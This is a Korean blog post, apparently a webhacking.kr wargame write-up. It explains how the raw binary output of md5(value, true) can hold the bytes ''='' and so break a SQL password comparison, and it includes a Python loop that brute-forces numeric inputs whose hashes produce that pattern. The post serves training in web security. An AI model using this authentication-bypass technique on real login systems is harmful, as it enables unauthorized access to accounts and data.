보통 md5('value')로 hash값을 만들면 32자리 hex값으로 나오게 됩니다.

하지만 md5('value', true)로 hash값을 만들면 16자리 바이너리 형태로 나오게 됩니다.

바이너리 형태로 나오게 되면서 취약점이 발생합니다.


password='aaa'='bbb' 라는 식은 password='aaa' 부분이 false, bool 연산의 문자열은 false이기에 'bbb'도 false가 나와 

true로 query가 작동하게 됩니다.


그렇다면 md5를 한 바이너리 값 중에서 '=' 라는 문자열이 나오게 되면 false + false = true 로 된다는 것입니다.



python3 코드를 이용해 해당 값들을 구할 수 있습니다.

나오는 값중 [ '=' ] 이 값 전후로 다른 값들이 있어야 하고, 어떤 값들은 성공하지 않을 수 있습니다.

1
2
3
4
5
6
7
8
9
10
import hashlib
 
for password in range(1,99999999):
     password = str(password).encode('utf-8')
     md5_hash = hashlib.md5(password).digest()
     if "'='" in str(md5_hash):
          print(str(md5_hash))
          print(password)
          print('──────────────────────────')
 
cs







[참고]


md5 raw hash를 이용한 sql injection: bbolmin.tistory.com/77


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 18  (0) 2018.12.13
[webhacking.kr] prob 58  (0) 2018.12.07
[webhacking.kr] prob 54  (0) 2018.12.07
[webhacking.kr] prob 47  (0) 2018.12.07
[webhacking.kr] prob 42  (0) 2018.12.06

+ Recent posts